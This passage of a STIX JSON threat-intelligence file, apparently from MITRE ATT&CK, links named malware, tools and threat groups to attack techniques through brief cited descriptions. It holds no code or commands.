                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "fsecure NanHaiShu July 2016",
                    "description": "F-Secure Labs. (2016, July). NANHAISHU RATing the South China Sea. Retrieved July 6, 2018.",
                    "url": "https://www.f-secure.com/documents/996508/1030745/nanhaishu_whitepaper.pdf"
                }
            ],
            "source_ref": "malware--705f0783-5f7d-4491-b6b7-9628e6e006d2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2020-03-17T01:53:17.526Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--345c6135-7557-4292-8214-66618ba17edd",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[RARSTONE](https://attack.mitre.org/software/S0055) uses SSL to encrypt its communication with its C2 server.(Citation: Aquino RARSTONE)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Aquino RARSTONE",
                    "description": "Aquino, M. (2013, June 13). RARSTONE Found In Targeted Attacks. Retrieved December 17, 2015.",
                    "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/rarstone-found-in-targeted-attacks/"
                }
            ],
            "source_ref": "malware--8c553311-0baa-4146-997a-f79acef3d831",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b",
            "type": "relationship",
            "modified": "2020-03-17T02:22:28.263Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--48fb8267-5d68-467b-a2c0-8302cc15ebed",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[RedLeaves](https://attack.mitre.org/software/S0153) can capture screenshots.(Citation: FireEye APT10 April 2017)(Citation: Accenture Hogfish April 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT10 April 2017",
                    "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html"
                },
                {
                    "source_name": "Accenture Hogfish April 2018",
                    "description": "Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018.",
                    "url": "https://www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf"
                }
            ],
            "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
            "type": "relationship",
            "modified": "2020-03-17T02:23:04.235Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--2c48f039-61f7-4af4-974b-f0e0fcf95f58",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[PlugX](https://attack.mitre.org/software/S0013) can be configured to use multiple network protocols to avoid network-based detection.(Citation: Dell TG-3390)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage",
                    "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.",
                    "source_name": "Dell TG-3390"
                }
            ],
            "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--99709758-2b96-48f2-a68a-ad7fbd828091",
            "type": "relationship",
            "modified": "2019-04-19T15:08:15.845Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--3f416bd3-a06f-4ec2-8cf6-4a84e0611c63",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[xCmd](https://attack.mitre.org/software/S0123) can be used to execute binaries on remote systems by creating and starting a service.(Citation: xCmd)",
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            ],
            "external_references": [
                {
                    "source_name": "xCmd",
                    "description": "Rayaprolu, A.. (2011, April 12). xCmd an Alternative to PsExec. Retrieved August 10, 2016.",
                    "url": "https://ashwinrayaprolu.wordpress.com/2011/04/12/xcmd-an-alternative-to-psexec/"
                }
            ],
            "type": "relationship",
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            "source_ref": "tool--4fa49fc0-9162-4bdb-a37e-7aa3dcb6d38b",
            "relationship_type": "uses",
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        },
        {
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            "description": "The [Winnti for Windows](https://attack.mitre.org/software/S0141) installer loads a DLL using rundll32.(Citation: Microsoft Winnti Jan 2017)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
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                {
                    "source_name": "Microsoft Winnti Jan 2017",
                    "description": "Cap, P., et al. (2017, January 25). Detecting threat actors in recent German industrial attacks with Windows Defender ATP. Retrieved February 8, 2017.",
                    "url": "https://blogs.technet.microsoft.com/mmpc/2017/01/25/detecting-threat-actors-in-recent-german-industrial-attacks-with-windows-defender-atp/"
                }
            ],
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            "type": "relationship",
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            "description": "[APT29](https://attack.mitre.org/groups/G0016) has used spearphishing with a link to trick victims into clicking on a link to a zip file containing malicious files.(Citation: Mandiant No Easy Breach)",
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            ],
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                {
                    "source_name": "Mandiant No Easy Breach",
                    "description": "Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved October 4, 2016.",
                    "url": "http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016"
                }
            ],
            "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7",
            "type": "relationship",
            "modified": "2019-07-25T14:25:53.300Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--ed91791b-8e5a-4e0c-b77c-6fad78be7378",
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            "description": "There is a variant of [RATANKBA](https://attack.mitre.org/software/S0241) that uses a PowerShell script instead of the traditional PE form.(Citation: Lazarus RATANKBA)(Citation: RATANKBA)",
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            ],
            "external_references": [
                {
                    "source_name": "Lazarus RATANKBA",
                    "description": "Lei, C., et al. (2018, January 24). Lazarus Campaign Targeting Cryptocurrencies Reveals Remote Controller Tool, an Evolved RATANKBA, and More. Retrieved May 22, 2018.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-campaign-targeting-cryptocurrencies-reveals-remote-controller-tool-evolved-ratankba/"
                },
                {
                    "source_name": "RATANKBA",
                    "description": "Trend Micro. (2017, February 27). RATANKBA: Delving into Large-scale Watering Holes against Enterprises. Retrieved May 22, 2018.",
                    "url": "https://www.trendmicro.com/en_us/research/17/b/ratankba-watering-holes-against-enterprises.html"
                }
            ],
            "source_ref": "malware--9b325b06-35a1-457d-be46-a4ecc0b7ff0c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736",
            "type": "relationship",
            "modified": "2020-09-02T18:46:33.031Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--47316750-4ca7-4ea3-b72c-9d7c7d895e3a",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--4320b080-9ae9-4541-9b8b-bcd0961dbbbd",
            "relationship_type": "mitigates",
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            "type": "relationship",
            "modified": "2020-06-24T18:58:35.357Z",
            "created": "2017-05-31T21:33:27.025Z"
        },
        {
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            "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) can sleep for a given number of seconds.(Citation: FireEye MuddyWater Mar 2018)",
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                    "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.",
                    "source_name": "FireEye MuddyWater Mar 2018"
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            ],
            "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466",
            "type": "relationship",
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            "description": "[Patchwork](https://attack.mitre.org/groups/G0040) collected the victim username and whether it was running as admin, then sent the information to its C2 server.(Citation: Cymmetria Patchwork)(Citation: TrendMicro Patchwork Dec 2017)",
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                {
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                    "description": "Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved August 3, 2016.",
                    "url": "https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf"
                },
                {
                    "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf",
                    "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.",
                    "source_name": "TrendMicro Patchwork Dec 2017"
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            ],
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            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "type": "relationship",
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            "relationship_type": "uses",
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            "external_references": [
                {
                    "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf",
                    "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.",
                    "source_name": "Microsoft PLATINUM April 2016"
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            "description": "(Citation: Microsoft PLATINUM April 2016)",
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            "description": "Several tools used by [Suckfly](https://attack.mitre.org/groups/G0039) have been command-line driven.(Citation: Symantec Suckfly May 2016)",
            "object_marking_refs": [
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                {
                    "url": "http://www.symantec.com/connect/blogs/indian-organizations-targeted-suckfly-attacks",
                    "description": "DiMaggio, J.. (2016, May 17). Indian organizations targeted in Suckfly attacks. Retrieved August 3, 2016.",
                    "source_name": "Symantec Suckfly May 2016"
                }
            ],
            "source_ref": "intrusion-set--5cbe0d3b-6fb1-471f-b591-4b192915116d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
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            "created": "2017-05-31T21:33:27.075Z"
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        {
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            "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc",
            "relationship_type": "uses",
            "target_ref": "malware--17e919aa-4a49-445c-b103-dbb8df9e7351",
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html",
                    "description": "Miller, S., et al. (2017, March 7). FIN7 Spear Phishing Campaign Targets Personnel Involved in SEC Filings. Retrieved March 8, 2017.",
                    "source_name": "FireEye FIN7 March 2017"
                }
            ],
            "description": "(Citation: FireEye FIN7 March 2017)",
            "type": "relationship",
            "modified": "2019-06-30T23:13:18.570Z",
            "created": "2017-05-31T21:33:27.079Z"
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            "id": "relationship--a5d7526f-2b1f-4a69-abc7-926b22bc402b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Hi-Zor](https://attack.mitre.org/software/S0087) encrypts C2 traffic with TLS.(Citation: Fidelis Hi-Zor)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Fidelis Hi-Zor",
                    "description": "Fidelis Threat Research Team. (2016, January 27). Introducing Hi-Zor RAT. Retrieved March 24, 2016.",
                    "url": "https://www.fidelissecurity.com/threatgeek/archive/introducing-hi-zor-rat/"
                }
            ],
            "source_ref": "malware--5967cc93-57c9-404a-8ffd-097edfa7bdfc",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada",
            "type": "relationship",
            "modified": "2020-04-29T22:19:36.097Z",
            "created": "2017-12-14T16:46:06.044Z"
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            "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has used a batch script that adds a Registry Run key to establish malware persistence.(Citation: Secureworks BRONZE BUTLER Oct 2017)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses",
                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
                    "source_name": "Secureworks BRONZE BUTLER Oct 2017"
                }
            ],
            "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2019-03-22T19:57:37.318Z",
            "created": "2018-01-16T16:13:52.465Z"
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        {
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            "description": "[PowerSploit](https://attack.mitre.org/software/S0194)'s <code>New-UserPersistenceOption</code> Persistence argument can be used to establish via the <code>HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run</code> Registry key.(Citation: GitHub PowerSploit May 2012)(Citation: PowerSploit Documentation)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://github.com/PowerShellMafia/PowerSploit",
                    "description": "PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.",
                    "source_name": "GitHub PowerSploit May 2012"
                },
                {
                    "url": "http://powersploit.readthedocs.io",
                    "description": "PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.",
                    "source_name": "PowerSploit Documentation"
                }
            ],
            "source_ref": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2019-04-24T23:43:08.156Z",
            "created": "2018-04-18T17:59:24.739Z"
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        {
            "id": "relationship--6db4aabc-a2ed-4db2-8ecb-c9ca11dc8f46",
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            "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) manipulated .lnk files to gather user credentials in conjunction with [Forced Authentication](https://attack.mitre.org/techniques/T1187).(Citation: US-CERT TA18-074A)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT TA18-074A",
                    "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A"
                }
            ],
            "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179",
            "type": "relationship",
            "modified": "2019-03-22T20:13:49.568Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--40c5a024-37db-478b-b90f-27f184bf8f60",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Tasklist](https://attack.mitre.org/software/S0057) can be used to discover services running on a system.(Citation: Microsoft Tasklist)",
            "object_marking_refs": [
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            ],
            "external_references": [
                {
                    "source_name": "Microsoft Tasklist",
                    "description": "Microsoft. (n.d.). Tasklist. Retrieved December 23, 2015.",
                    "url": "https://technet.microsoft.com/en-us/library/bb491010.aspx"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-12-14T16:46:06.044Z",
            "source_ref": "tool--2e45723a-31da-4a7e-aaa6-e01998a6788f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa"
        },
        {
            "id": "relationship--fdf9f632-03ce-4e8c-88bf-3798bb7f5ef4",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Felismus](https://attack.mitre.org/software/S0171) uses command line for execution.(Citation: Forcepoint Felismus Mar 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Forcepoint Felismus Mar 2017",
                    "description": "Somerville, L. and Toro, A. (2017, March 30). Playing Cat & Mouse: Introducing the Felismus Malware. Retrieved November 16, 2017.",
                    "url": "https://blogs.forcepoint.com/security-labs/playing-cat-mouse-introducing-felismus-malware"
                }
            ],
            "source_ref": "malware--196f1f32-e0c2-4d46-99cd-234d4b6befe1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-20T17:12:32.374Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--d4ca926c-6976-4ee8-a5b0-89aa11931bea",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[RedLeaves](https://attack.mitre.org/software/S0153) can enumerate and search for files and directories.(Citation: PWC Cloud Hopper Technical Annex April 2017)(Citation: FireEye APT10 April 2017)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "PWC Cloud Hopper Technical Annex April 2017",
                    "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.",
                    "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf"
                },
                {
                    "source_name": "FireEye APT10 April 2017",
                    "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html"
                }
            ],
            "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2020-03-17T02:23:04.238Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--e769177d-17b8-443b-b939-206d724fbb40",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[RogueRobin](https://attack.mitre.org/software/S0270) has a command named <code>$screenshot</code> that may be responsible for taking screenshots of the victim machine.(Citation: Unit 42 DarkHydrus July 2018)",
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            ],
            "external_references": [
                {
                    "source_name": "Unit 42 DarkHydrus July 2018",
                    "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/"
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                    "url": "http://researchcenter.paloaltonetworks.com/2017/04/unit42-oilrig-actors-provide-glimpse-development-testing-efforts/"
                },
                {
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                    "url": "https://unit42.paloaltonetworks.com/unit42-analyzing-oilrigs-ops-tempo-testing-weaponization-delivery/",
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            "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) commonly created Web shells on victims' publicly accessible email and web servers, which they used to maintain access to a victim network and download additional malicious files.(Citation: US-CERT TA18-074A)(Citation: US-CERT APT Energy Oct 2017)",
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                },
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                    "source_name": "FireEye admin@338"
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            ],
            "description": "(Citation: FireEye admin@338)",
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                    "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html",
                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
                    "source_name": "FireEye APT34 Dec 2017"
                }
            ],
            "description": "(Citation: FireEye APT34 Dec 2017)",
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            "description": "[PinchDuke](https://attack.mitre.org/software/S0048) collects user files from the compromised host based on predefined file extensions.(Citation: F-Secure The Dukes)",
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                    "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"
                }
            ],
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            "description": "[China Chopper](https://attack.mitre.org/software/S0020)'s server component executes code sent via HTTP POST commands.(Citation: FireEye Periscope March 2018)",
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                    "source_name": "FireEye Periscope March 2018"
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            ],
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                    "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.",
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            "description": "[Kazuar](https://attack.mitre.org/software/S0265) adds a sub-key under several Registry run keys.(Citation: Unit 42 Kazuar May 2017)",
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                    "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/"
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                    "description": "Guarnieri, C. (2015, June 19). Digital Attack on German Parliament: Investigative Report on the Hack of the Left Party Infrastructure in Bundestag. Retrieved January 22, 2018.",
                    "url": "https://netzpolitik.org/2015/digital-attack-on-german-parliament-investigative-report-on-the-hack-of-the-left-party-infrastructure-in-bundestag/"
                },
                {
                    "source_name": "DOJ GRU Indictment Jul 2018",
                    "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.",
                    "url": "https://www.justice.gov/file/1080281/download"
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                    "url": "https://documents.trendmicro.com/assets/white_papers/wp-pawn-storm-in-2019.pdf",
                    "description": "Hacquebord, F. (n.d.). Pawn Storm in 2019 A Year of Scanning and Credential Phishing on High-Profile Targets. Retrieved December 29, 2020."
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                    "description": "Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.",
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            "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) used the Ammyy Admin tool as well as TeamViewer for remote access, including to preserve remote access if a Cobalt Strike module was lost.(Citation: PTSecurity Cobalt Group Aug 2017)(Citation: PTSecurity Cobalt Dec 2016)(Citation: Group IB Cobalt Aug 2017)",
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            "external_references": [
                {
                    "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-2017-eng.pdf",
                    "description": "Positive Technologies. (2017, August 16). Cobalt Strikes Back: An Evolving Multinational Threat to Finance. Retrieved September 5, 2018.",
                    "source_name": "PTSecurity Cobalt Group Aug 2017"
                },
                {
                    "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf",
                    "description": "Positive Technologies. (2016, December 16). Cobalt Snatch. Retrieved October 9, 2018.",
                    "source_name": "PTSecurity Cobalt Dec 2016"
                },
                {
                    "url": "https://www.group-ib.com/blog/cobalt",
                    "description": "Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.",
                    "source_name": "Group IB Cobalt Aug 2017"
                }
            ],
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            "type": "relationship",
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            "description": "[FIN7](https://attack.mitre.org/groups/G0046) has downloaded additional malware to execute on the victim's machine, including by using a PowerShell script to launch shellcode that retrieves an additional payload.(Citation: FireEye FIN7 April 2017)(Citation: DOJ FIN7 Aug 2018)",
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            ],
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                {
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                    "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html"
                },
                {
                    "url": "https://www.justice.gov/opa/press-release/file/1084361/download",
                    "description": "Department of Justice. (2018, August 01). HOW FIN7 ATTACKED AND STOLE DATA. Retrieved August 24, 2018.",
                    "source_name": "DOJ FIN7 Aug 2018"
                }
            ],
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            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
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            "created": "2017-12-14T16:46:06.044Z"
        },
        {
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            "description": "[FELIXROOT](https://attack.mitre.org/software/S0267) collects the username from the victim\u2019s machine.(Citation: FireEye FELIXROOT July 2018)(Citation: ESET GreyEnergy Oct 2018)",
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                    "description": "Patil, S. (2018, June 26). Microsoft Office Vulnerabilities Used to Distribute FELIXROOT Backdoor in Recent Campaign. Retrieved July 31, 2018.",
                    "source_name": "FireEye FELIXROOT July 2018"
                },
                {
                    "source_name": "ESET GreyEnergy Oct 2018",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf",
                    "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018."
                }
            ],
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            "relationship_type": "uses",
            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "type": "relationship",
            "modified": "2020-03-17T01:16:25.896Z",
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        },
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            "type": "relationship",
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            "description": "[Crimson](https://attack.mitre.org/software/S0115) contains a command to collect the victim MAC address and LAN IP.(Citation: Proofpoint Operation Transparent Tribe March 2016)",
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            ],
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                {
                    "source_name": "Proofpoint Operation Transparent Tribe March 2016",
                    "description": "Huss, D.. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.",
                    "url": "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf"
                }
            ],
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            "type": "relationship",
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        },
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            "description": "Tools used by [Gamaredon Group](https://attack.mitre.org/groups/G0047) are capable of downloading and executing additional payloads.(Citation: Palo Alto Gamaredon Feb 2017)(Citation: TrendMicro Gamaredon April 2020)(Citation: ESET Gamaredon June 2020)",
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                {
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                    "description": "Kasza, A. and Reichel, D. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/"
                },
                {
                    "source_name": "TrendMicro Gamaredon April 2020",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/gamaredon-apt-group-use-covid-19-lure-in-campaigns/",
                    "description": "Kakara, H., Maruyama, E. (2020, April 17). Gamaredon APT Group Use Covid-19 Lure in Campaigns. Retrieved May 19, 2020."
                },
                {
                    "source_name": "ESET Gamaredon June 2020",
                    "url": "https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/",
                    "description": "Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020."
                }
            ],
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            "relationship_type": "uses",
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            "type": "relationship",
            "modified": "2020-06-22T17:55:32.146Z",
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            "description": "[APT3](https://attack.mitre.org/groups/G0022) obfuscates files or information to help evade defensive measures.(Citation: Symantec Buckeye)",
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            "type": "relationship",
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            "description": "To move laterally on a victim network, [FIN6](https://attack.mitre.org/groups/G0037) has used credentials stolen from various systems on which it gathered usernames and password hashes.(Citation: FireEye FIN6 April 2016)(Citation: FireEye FIN6 Apr 2019)(Citation: Visa FIN6 Feb 2019)",
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                    "source_name": "FireEye FIN6 April 2016"
                },
                {
                    "description": "McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html",
                    "source_name": "FireEye FIN6 Apr 2019"
                },
                {
                    "description": "Visa Public. (2019, February). FIN6 Cybercrime Group Expands Threat to eCommerce Merchants. Retrieved September 16, 2019.",
                    "url": "https://usa.visa.com/dam/VCOM/global/support-legal/documents/fin6-cybercrime-group-expands-threat-To-ecommerce-merchants.pdf",
                    "source_name": "Visa FIN6 Feb 2019"
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            ],
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            "type": "relationship",
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            "description": "[Poseidon Group](https://attack.mitre.org/groups/G0033) conducts credential dumping on victims, with a focus on obtaining credentials belonging to domain and database servers.(Citation: Kaspersky Poseidon Group)",
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                {
                    "source_name": "Kaspersky Poseidon Group",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2016, February 9). Poseidon Group: a Targeted Attack Boutique specializing in global cyber-espionage. Retrieved March 16, 2016.",
                    "url": "https://securelist.com/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/73673/"
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            ],
            "source_ref": "intrusion-set--7ecc3b4f-5cdb-457e-b55a-df376b359446",
            "relationship_type": "uses",
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            "type": "relationship",
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            "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
            "relationship_type": "uses",
            "target_ref": "malware--7343e208-7cab-45f2-a47b-41ba5e2f0fab",
            "external_references": [
                {
                    "source_name": "ESET Sednit Part 3",
                    "description": "ESET. (2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016.",
                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf"
                },
                {
                    "source_name": "Symantec APT28 Oct 2018",
                    "url": "https://www.symantec.com/blogs/election-security/apt28-espionage-military-government",
                    "description": "Symantec Security Response. (2018, October 04). APT28: New Espionage Operations Target Military and Government Organizations. Retrieved November 14, 2018."
                },
                {
                    "source_name": "US District Court Indictment GRU Oct 2018",
                    "url": "https://www.justice.gov/opa/page/file/1098481/download",
                    "description": "Brady, S . (2018, October 3). Indictment - United States vs Aleksei Sergeyevich Morenets, et al.. Retrieved October 1, 2020."
                }
            ],
            "description": "(Citation: ESET Sednit Part 3)(Citation: Symantec APT28 Oct 2018)(Citation: US District Court Indictment GRU Oct 2018)",
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                {
                    "url": "https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf",
                    "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.",
                    "source_name": "Symantec Elderwood Sept 2012"
                }
            ],
            "description": "(Citation: Symantec Elderwood Sept 2012)",
            "type": "relationship",
            "modified": "2021-01-06T19:32:29.108Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--c7823efd-005f-49ad-94cf-ebc44a87abed",
